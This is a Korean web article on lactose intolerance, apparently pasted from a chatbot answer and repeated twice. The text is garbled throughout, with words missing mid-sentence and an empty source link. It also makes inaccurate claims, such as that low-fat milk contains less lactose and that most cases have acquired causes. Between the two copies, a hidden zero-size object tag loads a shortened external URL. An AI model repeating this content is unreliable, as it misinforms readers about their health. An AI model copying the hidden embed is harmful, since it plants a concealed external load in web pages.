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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:24">유당불내증: 우유를 먹고 설사하는 이유</h2><p data-sourcepos="3:1-3:139"><strong>유당불내증</strong>은 우유에 함유된 유당을 분해하는 효소인 락타아제가 부족하여 나타나는 입니다. 락타아제가 부족하면 유당이 소장에서 제대로 분해되지 못하고 대장으로 이동하여 세균에 의해 발효되면서 복통, 설사, 복부 팽만감 등의 을 유발합니다.</p><h3 data-sourcepos="5:1-5:13">유당불내증의 원인</h3><ul data-sourcepos="7:1-11:0">
<li data-sourcepos="7:1-7:59"><strong>유전적 요인:</strong> 인종, 민족에 따라 락타아제 유전자가 다르게 나타나 유당불내증 발생률이 다릅니다.</li>
<li data-sourcepos="8:1-11:0"><strong>후천적 요인:</strong>
<ul data-sourcepos="9:5-11:0">
<li data-sourcepos="9:5-9:69">소장 점막 손상: 급성 장염, 크론병 등의 으로 소장 점막이 손상될 경우 락타아제 생성이 감소할 수 있습니다.</li>
<li data-sourcepos="10:5-11:0">노화: 나이가 들면서 락타아제 생성량이 자연스럽게 감소할 수 있습니다.</li>
</ul>
</li>
</ul><h3 data-sourcepos="12:1-12:12">유당불내증 </h3><ul data-sourcepos="14:1-19:0">
<li data-sourcepos="14:1-14:4">복통</li>
<li data-sourcepos="15:1-15:4">설사</li>
<li data-sourcepos="16:1-16:8">복부 팽만감</li>
<li data-sourcepos="17:1-17:5">구역질</li>
<li data-sourcepos="18:1-19:0">가스</li>
</ul><p data-sourcepos="20:1-20:15">[: 유당불내증 ]</p><h3 data-sourcepos="22:1-22:12">유당불내증 진단</h3><ul data-sourcepos="24:1-27:0">
<li data-sourcepos="24:1-24:47"><strong>식이 일기:</strong> 유제품 섭취 후 나타나는 을 기록하여 의사에게 알려줍니다.</li>
<li data-sourcepos="25:1-25:47"><strong>수소 호기 검사:</strong> 유당을 섭취한 후 호흡 속 수소량을 측정하여 진단합니다.</li>
<li data-sourcepos="26:1-27:0"><strong>유전자 검사:</strong> 락타아제 유전자를 분석하여 진단합니다.</li>
</ul><h3 data-sourcepos="28:1-28:12">유당불내증 관리</h3><ul data-sourcepos="30:1-33:0">
<li data-sourcepos="30:1-30:74"><strong>유제품 섭취량 조절:</strong> 우유를 한 번에 많이 마시지 않고 소량씩 나눠 마시거나, 유당 함량이 적은 저지방 우유를 선택합니다.</li>
<li data-sourcepos="31:1-31:72"><strong>유당 함량이 적은 식품 섭취:</strong> 요구르트, 치즈 등 유산균이 함유된 발효유는 유당을 분해하는 데 도움이 될 수 있습니다.</li>
<li data-sourcepos="32:1-33:0"><strong>락타아제 보충제 섭취:</strong> 식사 전에 락타아제 보충제를 복용하면 유당 소화를 돕습니다.</li>
</ul><p data-sourcepos="34:1-34:15">[: 유당불내증 식단]</p><h3 data-sourcepos="36:1-36:20">유당불내증에 대한 오해와 진실</h3><ul data-sourcepos="38:1-42:0">
<li data-sourcepos="38:1-39:61"><strong>유당불내증이 있으면 우유를 절대 먹으면 안 된다?</strong>
<ul data-sourcepos="39:5-39:61">
<li data-sourcepos="39:5-39:61">완전히 피하는 것이 좋지만, 소량 섭취하거나 락타아제 보충제를 활용하면 섭취가 가능할 수 있습니다.</li>
</ul>
</li>
<li data-sourcepos="40:1-42:0"><strong>유당불내증은 평생 안고 살아야 한다?</strong>
<ul data-sourcepos="41:5-42:0">
<li data-sourcepos="41:5-42:0">대부분의 경우 후천적인 요인으로 발생하며, 원인 이 되면 이 호전될 수 있습니다.</li>
</ul>
</li>
</ul><p data-sourcepos="43:1-43:78"><strong>주의:</strong> 유당불내증 이 심하거나 다른 이 의심되는 경우에는 반드시 전문가와 상담하여 한 진단과 를 받는 것이 중요합니다.</p><p data-sourcepos="45:1-45:29"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="47:1-47:48"><em>유당불내증에 대한 더 자세한 정보는 세브란스병원 건강정보에서 확인하실 수 있습니다.</em></p><ul data-sourcepos="48:1-49:0">
<li data-sourcepos="48:1-49:0"><strong>세브란스병원 건강정보:</strong> </li>
</ul><p data-sourcepos="50:1-50:54"><strong> 출처:</strong> 구글 검색 (유당불내증 , 유당불내증 식단 등 관련 키워드 검색)</p><p data-sourcepos="52:1-52:53"><strong>참고:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다.</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/b9ie" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:24">유당불내증: 우유를 먹고 설사하는 이유</h2><p data-sourcepos="3:1-3:139"><strong>유당불내증</strong>은 우유에 함유된 유당을 분해하는 효소인 락타아제가 부족하여 나타나는 입니다. 락타아제가 부족하면 유당이 소장에서 제대로 분해되지 못하고 대장으로 이동하여 세균에 의해 발효되면서 복통, 설사, 복부 팽만감 등의 을 유발합니다.</p><h3 data-sourcepos="5:1-5:13">유당불내증의 원인</h3><ul data-sourcepos="7:1-11:0">
<li data-sourcepos="7:1-7:59"><strong>유전적 요인:</strong> 인종, 민족에 따라 락타아제 유전자가 다르게 나타나 유당불내증 발생률이 다릅니다.</li>
<li data-sourcepos="8:1-11:0"><strong>후천적 요인:</strong>
<ul data-sourcepos="9:5-11:0">
<li data-sourcepos="9:5-9:69">소장 점막 손상: 급성 장염, 크론병 등의 으로 소장 점막이 손상될 경우 락타아제 생성이 감소할 수 있습니다.</li>
<li data-sourcepos="10:5-11:0">노화: 나이가 들면서 락타아제 생성량이 자연스럽게 감소할 수 있습니다.</li>
</ul>
</li>
</ul><h3 data-sourcepos="12:1-12:12">유당불내증 </h3><ul data-sourcepos="14:1-19:0">
<li data-sourcepos="14:1-14:4">복통</li>
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<li data-sourcepos="16:1-16:8">복부 팽만감</li>
<li data-sourcepos="17:1-17:5">구역질</li>
<li data-sourcepos="18:1-19:0">가스</li>
</ul><p data-sourcepos="20:1-20:15">[: 유당불내증 ]</p><h3 data-sourcepos="22:1-22:12">유당불내증 진단</h3><ul data-sourcepos="24:1-27:0">
<li data-sourcepos="24:1-24:47"><strong>식이 일기:</strong> 유제품 섭취 후 나타나는 을 기록하여 의사에게 알려줍니다.</li>
<li data-sourcepos="25:1-25:47"><strong>수소 호기 검사:</strong> 유당을 섭취한 후 호흡 속 수소량을 측정하여 진단합니다.</li>
<li data-sourcepos="26:1-27:0"><strong>유전자 검사:</strong> 락타아제 유전자를 분석하여 진단합니다.</li>
</ul><h3 data-sourcepos="28:1-28:12">유당불내증 관리</h3><ul data-sourcepos="30:1-33:0">
<li data-sourcepos="30:1-30:74"><strong>유제품 섭취량 조절:</strong> 우유를 한 번에 많이 마시지 않고 소량씩 나눠 마시거나, 유당 함량이 적은 저지방 우유를 선택합니다.</li>
<li data-sourcepos="31:1-31:72"><strong>유당 함량이 적은 식품 섭취:</strong> 요구르트, 치즈 등 유산균이 함유된 발효유는 유당을 분해하는 데 도움이 될 수 있습니다.</li>
<li data-sourcepos="32:1-33:0"><strong>락타아제 보충제 섭취:</strong> 식사 전에 락타아제 보충제를 복용하면 유당 소화를 돕습니다.</li>
</ul><p data-sourcepos="34:1-34:15">[: 유당불내증 식단]</p><h3 data-sourcepos="36:1-36:20">유당불내증에 대한 오해와 진실</h3><ul data-sourcepos="38:1-42:0">
<li data-sourcepos="38:1-39:61"><strong>유당불내증이 있으면 우유를 절대 먹으면 안 된다?</strong>
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<li data-sourcepos="39:5-39:61">완전히 피하는 것이 좋지만, 소량 섭취하거나 락타아제 보충제를 활용하면 섭취가 가능할 수 있습니다.</li>
</ul>
</li>
<li data-sourcepos="40:1-42:0"><strong>유당불내증은 평생 안고 살아야 한다?</strong>
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<li data-sourcepos="41:5-42:0">대부분의 경우 후천적인 요인으로 발생하며, 원인 이 되면 이 호전될 수 있습니다.</li>
</ul>
</li>
</ul><p data-sourcepos="43:1-43:78"><strong>주의:</strong> 유당불내증 이 심하거나 다른 이 의심되는 경우에는 반드시 전문가와 상담하여 한 진단과 를 받는 것이 중요합니다.</p><p data-sourcepos="45:1-45:29"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="47:1-47:48"><em>유당불내증에 대한 더 자세한 정보는 세브란스병원 건강정보에서 확인하실 수 있습니다.</em></p><ul data-sourcepos="48:1-49:0">
<li data-sourcepos="48:1-49:0"><strong>세브란스병원 건강정보:</strong> </li>
</ul><p data-sourcepos="50:1-50:54"><strong> 출처:</strong> 구글 검색 (유당불내증 , 유당불내증 식단 등 관련 키워드 검색)</p><p data-sourcepos="52:1-52:53"><strong>참고:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다.</p></div>
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